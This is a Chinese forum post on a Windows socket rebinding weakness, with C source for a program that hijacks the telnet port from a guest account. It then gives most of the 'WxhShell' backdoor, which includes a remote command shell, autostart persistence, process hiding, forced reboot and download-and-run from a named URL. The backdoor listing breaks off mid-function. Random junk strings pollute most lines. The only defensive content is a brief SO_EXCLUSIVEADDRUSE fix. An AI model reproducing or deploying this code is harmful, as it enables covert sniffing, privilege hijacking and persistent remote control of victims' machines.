社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15355阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `y{[e j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [?XP[h gd  
/38XaKc{6  
  saddr.sin_family = AF_INET; y3P4]sq  
P\@efq@!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `<hMrhfh  
FyChH7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  7b8y  
fd&>p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g?u=n`k]\  
~h3~<p#M`  
  这意味着什么?意味着可以进行如下的攻击: E[FE-{B#  
KvO5-g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zkd^5A; `  
=yPV9#(I/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I`x[1%y2 F  
s+h}O}RV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q+O./1x*,  
J2$,'(!(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4 lwoTGVZj  
o76{;Bl\O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iUZV-jl2/  
=i},$"Bf*%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 | _nBiHjNn  
f`[E^ zj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y<l(F?_  
cXb&Rm' L  
  #include q-/t?m0  
  #include t"vkd  
  #include w=5<mw  
  #include    mgb+HNH%q\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h:KEhj\d?  
  int main() !bCaDTz  
  { h&rZR`g  
  WORD wVersionRequested; Q9&H/]"v  
  DWORD ret; %Y9CZRY 9  
  WSADATA wsaData; vX&W;&  
  BOOL val; /*t H$\6*  
  SOCKADDR_IN saddr; 8/lgM'Eux  
  SOCKADDR_IN scaddr; }q,dJE  
  int err; {W=5 J7  
  SOCKET s; )G*xI`(@  
  SOCKET sc; D J7U6{KLq  
  int caddsize; |w5,%#AeO$  
  HANDLE mt; {T DZDH  
  DWORD tid;   ((=T E  
  wVersionRequested = MAKEWORD( 2, 2 ); aYc^ 9*7  
  err = WSAStartup( wVersionRequested, &wsaData ); !.499H3  
  if ( err != 0 ) { !1Ht{cA0  
  printf("error!WSAStartup failed!\n"); wEQZ9?\  
  return -1; msQ?V&+<  
  } LG??Q+`l  
  saddr.sin_family = AF_INET; 1jpft3*x  
   RNt9Qdr4y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '($$-P\/  
%l!- rXp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZVrZkd `  
  saddr.sin_port = htons(23); 8d&%H,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }hcY5E-n  
  { o4agaA3k  
  printf("error!socket failed!\n"); `A-  
  return -1; x0lAJaG  
  } M(n@ytz  
  val = TRUE; MSB/O.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p =-~qBw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5kojh _\  
  { wVX2.D'n<  
  printf("error!setsockopt failed!\n"); oc#hAjB.  
  return -1; AHHV\r  
  } 'X`W+=T$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,hm&]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 as@? Kv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %AmyT  
DVDzYR**4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $)d34JM  
  { ~.tYYX<  
  ret=GetLastError(); R@U4Ae{+  
  printf("error!bind failed!\n"); AJ)&+H  
  return -1; ;s-@m<  
  } tq51;L  
  listen(s,2); LjIkZ'HuF  
  while(1) D0>Pc9  
  { #$F*.vQSs+  
  caddsize = sizeof(scaddr); kdaq_O:s  
  //接受连接请求 M`E}1WNQ?]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5Vai0Qfcu:  
  if(sc!=INVALID_SOCKET) Z;njSw%:  
  { *,~L_)vWO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4um^7Ns)7  
  if(mt==NULL) unKgOvtj  
  { ~YByyJG   
  printf("Thread Creat Failed!\n"); Xg;;< /Z  
  break; }$ Kd-cj+  
  } CTxP3a9]  
  } {qOqtkj  
  CloseHandle(mt); CyXaHO  
  } }Yc5U,A;  
  closesocket(s); P'DcNMdw  
  WSACleanup(); |kTq &^$  
  return 0; WBb*2  
  }   !Uv>>MCr  
  DWORD WINAPI ClientThread(LPVOID lpParam) l]gW_wUQd  
  { f .$*9Fkw  
  SOCKET ss = (SOCKET)lpParam; ZB} A^X  
  SOCKET sc; oxdX2"WwU  
  unsigned char buf[4096]; B{p74 >  
  SOCKADDR_IN saddr; zg$ag4%Qgg  
  long num; #Tt*NU  
  DWORD val; uBxoMxWm  
  DWORD ret; O%haaL\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &gUa^5'#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6Nt/>[  
  saddr.sin_family = AF_INET; 9ExI,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )PW|RW  
  saddr.sin_port = htons(23); EY:H\4)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p}5413z5Z=  
  { SpYmgL?wJ  
  printf("error!socket failed!\n"); FZIC |uz  
  return -1; N;k)>  
  } <lLJf8OK  
  val = 100; M?GkHJ%!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ia3!&rZ  
  { rm-;Z<  
  ret = GetLastError(); tGzp= PyA  
  return -1; B< HN$/  
  } L&~'SC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) upX@8WxR  
  { c((bUjS'=Y  
  ret = GetLastError(); B9%%jEH*  
  return -1; dZI["FeO&d  
  } ^@{"a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *u",-n  
  { c?REDj2  
  printf("error!socket connect failed!\n"); uGm?e]7Hx<  
  closesocket(sc); =;E0PB_w  
  closesocket(ss); 9!kp3x/`  
  return -1; ei{tW3 H$  
  } [J(b"c6  
  while(1) 7upWM~H^  
  { yz5! >|EB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 : @eHV=|+>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )xKW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E.+%b;Eqe  
  num = recv(ss,buf,4096,0); |lZp5MOc  
  if(num>0) uG +ZR: _  
  send(sc,buf,num,0); P}qpy\/(4  
  else if(num==0) _:WNk(  
  break; x+;y0`oL  
  num = recv(sc,buf,4096,0); =N8_S$nx(  
  if(num>0) FOsxId[f9  
  send(ss,buf,num,0); jA[Ir3  
  else if(num==0) >EZZEd   
  break; 29VX-45  
  } xplV6q`  
  closesocket(ss); Wq"-T.i  
  closesocket(sc); ]f&f_"D  
  return 0 ; e+D]9wM8  
  } >d *`K  
xR|^{y9n  
O&yAFiCd  
========================================================== K]G(u"'  
ezCJq`b  
下边附上一个代码,,WXhSHELL \=]`X2Ld  
~8"oH5  
========================================================== #NYHwO<0-  
';c 6  
#include "stdafx.h" oveK;\7/m  
9q 2 vT^  
#include <stdio.h> *Ms"{+C  
#include <string.h> IkjJqz  
#include <windows.h> 6x=w-32+ y  
#include <winsock2.h> zSU,le  
#include <winsvc.h> oif|X7H;  
#include <urlmon.h> 4*Gv0#dga  
41s\^'^&  
#pragma comment (lib, "Ws2_32.lib") v Y0ESc{  
#pragma comment (lib, "urlmon.lib") 8DY:a['-d  
pek=!nZ  
#define MAX_USER   100 // 最大客户端连接数 4d}=g]P  
#define BUF_SOCK   200 // sock buffer /f Q}Ls\  
#define KEY_BUFF   255 // 输入 buffer &q9=0So4\  
^y KkWB*  
#define REBOOT     0   // 重启 Bz kfB:wr  
#define SHUTDOWN   1   // 关机 F|qMo|  
DV[FZ  
#define DEF_PORT   5000 // 监听端口 -mn/Yv  
vy{k"W&S  
#define REG_LEN     16   // 注册表键长度 G%;>_E  
#define SVC_LEN     80   // NT服务名长度 1q3"qY H  
G2?#MO  
// 从dll定义API gmgri   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >]xW{71F@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hITYBPqRO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 ] cLbJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0I<L<^s3^U  
R=<::2_Y96  
// wxhshell配置信息 /<IWdy]$3  
struct WSCFG { 8q9ATB-^>  
  int ws_port;         // 监听端口 NsSZ?ky  
  char ws_passstr[REG_LEN]; // 口令 .{*l,  
  int ws_autoins;       // 安装标记, 1=yes 0=no M \  
  char ws_regname[REG_LEN]; // 注册表键名 -!\%##r7~  
  char ws_svcname[REG_LEN]; // 服务名 P=KhR&gwV~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x<Gjr}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N N1}P'6Ha  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nqo1+OR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :KA)4[#;W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ) \TH'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oz)4YBf  
Z]oGE@! n"  
}; mH0OW  
W=w]`'  
// default Wxhshell configuration saQs<1  
struct WSCFG wscfg={DEF_PORT, Q"nw.FjUG  
    "xuhuanlingzhe", YG8V\4 SQ  
    1, 1[u{y{9 q  
    "Wxhshell", !<HMMf,-D  
    "Wxhshell", SQn.`0HT  
            "WxhShell Service", VjNr<~|d  
    "Wrsky Windows CmdShell Service", Z"_8 l3  
    "Please Input Your Password: ", }r,xx{.u7  
  1, |N"K83_pr  
  "http://www.wrsky.com/wxhshell.exe", W Zm8!Y  
  "Wxhshell.exe" czpu^BT;;T  
    }; }2"W0ZdWD  
R=D}([pi  
// 消息定义模块 oH?:(S(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u)I\R\N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PpBptsb^|J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EPH" 5$8  
char *msg_ws_ext="\n\rExit."; P5 oS 1iu*  
char *msg_ws_end="\n\rQuit."; #$-?[c$>  
char *msg_ws_boot="\n\rReboot..."; oYTLC@98}  
char *msg_ws_poff="\n\rShutdown..."; ~%g,Uypi  
char *msg_ws_down="\n\rSave to "; ,d38TN  
zIu/!aw  
char *msg_ws_err="\n\rErr!"; * jWh4F,  
char *msg_ws_ok="\n\rOK!"; f$kbb 6juL  
WysWg7,r  
char ExeFile[MAX_PATH]; fRLA;1va  
int nUser = 0; =xRD %Z  
HANDLE handles[MAX_USER]; xH{-UQ3R  
int OsIsNt; '@ Y@Fs  
9T5 F0?qd  
SERVICE_STATUS       serviceStatus; ~ZSX84~@u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LQ4:SV'3  
ZvT,HJ0?  
// 函数声明 ![\P/1p  
int Install(void); OG?7( UJ  
int Uninstall(void); +h+ 7Q'k  
int DownloadFile(char *sURL, SOCKET wsh); tP*Kt'4W  
int Boot(int flag); 8>#ZU]cG  
void HideProc(void); G dNhEv  
int GetOsVer(void); H1B%}G*Ir-  
int Wxhshell(SOCKET wsl); h8 N|m0W  
void TalkWithClient(void *cs); `N.:3]B t  
int CmdShell(SOCKET sock); x[0hY0 ?[M  
int StartFromService(void); #&?ER]|3  
int StartWxhshell(LPSTR lpCmdLine); -d#08\  
[r8[lkR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {.A N4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;hO6 p  
D:bmq93PC  
// 数据结构和表定义 "``>ii  
SERVICE_TABLE_ENTRY DispatchTable[] = ;<Hk Cd  
{ ."^\1N(.n  
{wscfg.ws_svcname, NTServiceMain}, |C z7_Rn  
{NULL, NULL} )1M2}11uS  
}; ,3T"fT-(  
4s9@4  
// 自我安装 P658 XKE  
int Install(void) -sKtT 9o  
{ {cOx0=  
  char svExeFile[MAX_PATH]; 7`t"fS  
  HKEY key; >| ,`E  
  strcpy(svExeFile,ExeFile); _v0iH   
E]/2 u3p  
// 如果是win9x系统,修改注册表设为自启动 abUO3 Y{  
if(!OsIsNt) { IJ2'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {TpbUj0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 76@W:L*J$J  
  RegCloseKey(key); `G\Gk|4; 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0{z8pNrc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QJ(%rvn3  
  RegCloseKey(key); =LV-n  
  return 0; U!r8}@  
    } Sv/P:r _  
  } -i{_$G8W/c  
} #U L75  
else { .-M5.1mo\(  
dt "/4wCO  
// 如果是NT以上系统,安装为系统服务 lqmQQ*Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v9* +@  
if (schSCManager!=0) 8CUtY9.  
{ r[}nrH&8  
  SC_HANDLE schService = CreateService /kK*%TP  
  ( /tj]^QspS  
  schSCManager, ]goJ- &  
  wscfg.ws_svcname, a<\n$E#q  
  wscfg.ws_svcdisp, D|)_c1g  
  SERVICE_ALL_ACCESS, lCp6UkE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 06%-tAq:  
  SERVICE_AUTO_START, \UZGXk  
  SERVICE_ERROR_NORMAL, 99ZWB  
  svExeFile, :qbU@)p*  
  NULL, $RY-yKmi  
  NULL, u_' -vZ_  
  NULL, t*H2;|zn_  
  NULL, y@I 9>}"y  
  NULL d%qi~koN_  
  ); d}:- Q?  
  if (schService!=0) YAT@xZs-  
  { 7,p.M)t)  
  CloseServiceHandle(schService); ^Z9bA(w8  
  CloseServiceHandle(schSCManager); J+IItO4%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f<wYJGI  
  strcat(svExeFile,wscfg.ws_svcname); -+1O*L!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )SJM:E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3 5.&!4}  
  RegCloseKey(key); G-9i   
  return 0; $%DoLpE>  
    } N~=PecQ  
  } 0*5Jq#5  
  CloseServiceHandle(schSCManager); "o`?-bQ:  
} iQ:eR]7X  
} %?].( Lc  
L%Zr3Ct  
return 1; P7=`P  
} (["kbPma  
pu/5#[MC)^  
// 自我卸载 ;.sYE/ZVi  
int Uninstall(void) ^_@[1'^  
{ |}:}14ty  
  HKEY key; oOND]>  
"y"oV[`  
if(!OsIsNt) { &Hp*A^M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (c)/&~aE  
  RegDeleteValue(key,wscfg.ws_regname); tkHmH/'7  
  RegCloseKey(key); oX:&;KA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZYWGP:Y  
  RegDeleteValue(key,wscfg.ws_regname); &v((tZ  
  RegCloseKey(key); !q,'k2= b,  
  return 0; JRz) A4P  
  } N9G xJ6  
} .lb]Xa*n  
} K2x2Y=  
else { `B3-#!2X  
Izu____  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4w ,&#L  
if (schSCManager!=0) w%qnH e9  
{ X:Wd%CHP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v.8kGF  
  if (schService!=0) n4dNGp7\`  
  { H}~K51  
  if(DeleteService(schService)!=0) { *Oy* \cX2[  
  CloseServiceHandle(schService); 0;><@{'  
  CloseServiceHandle(schSCManager); #N`G2}1J  
  return 0; E`JW4)AH  
  } R_/;U&R  
  CloseServiceHandle(schService); :$u[1&6  
  } 6 ~0kb_td  
  CloseServiceHandle(schSCManager); cKkH*0B5  
} J i@q7qkC  
} ?:`sE"  
ps2j]g  
return 1; bR"4:b>K  
} :]F66dh+  
WcSvw  
// 从指定url下载文件 CtN\-E-  
int DownloadFile(char *sURL, SOCKET wsh) wg)Bx#>\L:  
{ B/a`5&G]  
  HRESULT hr; Xykoq"dbb  
char seps[]= "/"; ^"|q~2  
char *token; Ey: ?!  
char *file; "Y:>^F;  
char myURL[MAX_PATH]; \jk* Nm8;  
char myFILE[MAX_PATH]; $Q#n'#c  
Tf5m YCk  
strcpy(myURL,sURL); T:kliM"z  
  token=strtok(myURL,seps); ;6hoG(3 +  
  while(token!=NULL) 8Pd9&/Y  
  { S'|PA7a}h  
    file=token; ,^e2ma|z  
  token=strtok(NULL,seps); "AjC2P],  
  } DTA$,1JuD  
9O&gR46.  
GetCurrentDirectory(MAX_PATH,myFILE); &@@PJ!&  
strcat(myFILE, "\\");  o%j?}J7y  
strcat(myFILE, file); JL#LCU ?  
  send(wsh,myFILE,strlen(myFILE),0); ;Ngk"5  
send(wsh,"...",3,0); rQT%~oM:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iNkN'("  
  if(hr==S_OK) .u ikte  
return 0; a_+3, fP  
else y7h^_D+Ce  
return 1; ,S d j"C  
|$IL:W6  
} ^#e|^]] L  
Z}0{FwW"4  
// 系统电源模块 \41/84BA  
int Boot(int flag) -!7Z  
{ ygja{W.  
  HANDLE hToken; d`V.i6u  
  TOKEN_PRIVILEGES tkp; ;k@]"&t  
7t<h 'g2  
  if(OsIsNt) { o<lmU8xB=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e^@ZN9qQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TtrO_D  
    tkp.PrivilegeCount = 1; & .1-6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?QKD YH(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "@VYJ7.1  
if(flag==REBOOT) { ;lE=7[UJ3X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I__b$  
  return 0; O{c#&/.K  
} Tw$tE:  
else { 2K/t[.8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v9@_ DlV\  
  return 0; #w5%^ HwO  
} E71H=C 4  
  } /0k'w%V{n  
  else { /,~]1&?}1  
if(flag==REBOOT) { ?1r;6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'tkQz  
  return 0; dEMv9"`*!  
} k t!@}QP  
else { WQCnkP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @b 17jmq{  
  return 0; ,if~%'9j  
} t5b c Q@Y  
} CTg79 ITYk  
z"  z$.c  
return 1; dzbbFvG  
} 7Cz=;  
89 m.,  
// win9x进程隐藏模块 K ~-V([tWg  
void HideProc(void) $aT '~|?  
{ {%('|(57  
4Hyp]07  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); daA&!vnbH*  
  if ( hKernel != NULL ) nzAySMD_  
  { kda*rl~c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _(=g[=Mer  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +DefV,Ny  
    FreeLibrary(hKernel); hqHk,#  
  } >#S}J LZ  
d5 ]-{+V+  
return; .8'uIA{_2  
} )9/iH(  
Oel%l Y}m3  
// 获取操作系统版本 4R01QSbd  
int GetOsVer(void) 2C"i2/NH'  
{ ]I/* J^  
  OSVERSIONINFO winfo; GM^H )8U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7r(c@4yPI  
  GetVersionEx(&winfo); rOUQg_y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^^uY)AL  
  return 1; $mq+/|bn  
  else $_HyE%F#  
  return 0; F2(^O Fh  
} MdkL_YP}.  
3WGOftLzt  
// 客户端句柄模块 9zBt a  
int Wxhshell(SOCKET wsl) Q0 ezeo  
{ z+0#H39&  
  SOCKET wsh; j:48l[;ed  
  struct sockaddr_in client; ]d|M@v~c4  
  DWORD myID; ]E.FBGT  
_-v$fDrz  
  while(nUser<MAX_USER) WwKpZ67$R  
{ `X&d:!}F  
  int nSize=sizeof(client); //$^~} wt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `09[25?  
  if(wsh==INVALID_SOCKET) return 1; =@P(cFJ/  
PCBV6Y7r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :de4Fje/4y  
if(handles[nUser]==0) ?WS.RBe2  
  closesocket(wsh); n:<Xp[;R  
else QS,_=< (  
  nUser++; _$}@hD*R~  
  } & )-fC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *li5/=UC5*  
hJ8B&u(  
  return 0; ?IO3w{fmH  
} ypA 9WF  
WL\*g] K4  
// 关闭 socket B SEP*#s  
void CloseIt(SOCKET wsh) m Le 70U  
{ <V8=*n"mR  
closesocket(wsh); `V[ hE r|  
nUser--; EY:EpVin  
ExitThread(0); uy=<n5`oNG  
} 6k1_dRu  
AX{yfL  
// 客户端请求句柄 gF~ }  
void TalkWithClient(void *cs)  t|:XSJ9  
{ o107. s  
w*4sT+ P  
  SOCKET wsh=(SOCKET)cs; 3KKq1][  
  char pwd[SVC_LEN]; {~=gKZ:-@  
  char cmd[KEY_BUFF]; R <u\ -  
char chr[1]; v)!^%D  
int i,j; 1lv. @-  
6"bdbV=t  
  while (nUser < MAX_USER) {  !h* F58  
=XUt?5  
if(wscfg.ws_passstr) { ?,!C0ts  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pH?"@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GYri\<[  
  //ZeroMemory(pwd,KEY_BUFF); +]# p m9  
      i=0; m\|ie8  
  while(i<SVC_LEN) { OFw93UJ Y  
1,sD'iNb  
  // 设置超时 'n!Sco)C  
  fd_set FdRead; _ 3jY,*  
  struct timeval TimeOut; )G$0:-J-  
  FD_ZERO(&FdRead); E njSio0  
  FD_SET(wsh,&FdRead); ey[+"6Awne  
  TimeOut.tv_sec=8; t=r*/DxX=  
  TimeOut.tv_usec=0; AkV8}>G?#A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v6KF0mqA&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^@xn3zJ  
PPj0LFA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E`UEl$($  
  pwd=chr[0]; \&X*-T[]j  
  if(chr[0]==0xd || chr[0]==0xa) { iED gcg7  
  pwd=0; r(/+- t  
  break; GMoE,L  
  } j}@n`[V1  
  i++; Z;GZ?NOlY  
    } t9m08K:Y  
VH$hQPP5d  
  // 如果是非法用户,关闭 socket A{QA0X!p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x-=qlg&EI  
} Ba]^0Y u  
EEO)b_(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  $"x~p1P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r4Jc9Tv d  
CN<EgNt1kN  
while(1) { %u02KmV.  
5KDN8pJN  
  ZeroMemory(cmd,KEY_BUFF); Q96^rjY  
XfH[: XG3  
      // 自动支持客户端 telnet标准   $23dcC*hI  
  j=0; 4z>SI\Ss  
  while(j<KEY_BUFF) { R3%&\<a)9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E?[]N[0Kl  
  cmd[j]=chr[0]; nf9NJ_8}4H  
  if(chr[0]==0xa || chr[0]==0xd) { c0u1L@tj  
  cmd[j]=0; *.F4?i2D  
  break; :f5"w+  
  } I9;,qd%<T  
  j++; /p_#8}Uh  
    } L4-v'Z;  
El#"vIg(\  
  // 下载文件 ky-9I<Z,,  
  if(strstr(cmd,"http://")) { K/ 5U;oC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6E@qZvQ  
  if(DownloadFile(cmd,wsh)) *3]_Huw<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VgyY7INx9  
  else aJ^RY5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :J6lJ8w ?  
  } n(tx'&U"R  
  else { X(*MHBd  
5|0}   
    switch(cmd[0]) { 9S]]KEGn4  
  Cmj+>$')0  
  // 帮助 "8sB,$  
  case '?': { ];8S<KiS~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .DG`~Fpk  
    break; o-_H+p6a  
  } A$Ok^  
  // 安装 T.?}iz=ZEq  
  case 'i': { !{%BfZX<&  
    if(Install()) dNfME*"yN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >s|zr S)  
    else '$\O*e'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FEwPLViso  
    break; {kNV|E  
    } N(=Z4Nk5  
  // 卸载 hX9vtV5L  
  case 'r': { H^r;,Q$9  
    if(Uninstall()) I$HO[Z!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?i0WS  
    else "9bd;Tt:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vkE a[7  
    break; rK} =<R  
    } GLtd6;V  
  // 显示 wxhshell 所在路径 Q.Xs%{B  
  case 'p': { iw\yVd^]:k  
    char svExeFile[MAX_PATH]; 'K*. ?M  
    strcpy(svExeFile,"\n\r"); ]L{diD 2G  
      strcat(svExeFile,ExeFile); ^9fY %98  
        send(wsh,svExeFile,strlen(svExeFile),0); %v)O!HC}  
    break; h1REL^!c  
    } OH/!Ky\@  
  // 重启 6Mh"{N7  
  case 'b': { Z b}U 4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r"xs?P&/$  
    if(Boot(REBOOT)) f 6 k=ew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hYB3tT  
    else { &.1qixXIr  
    closesocket(wsh); N/6! |F  
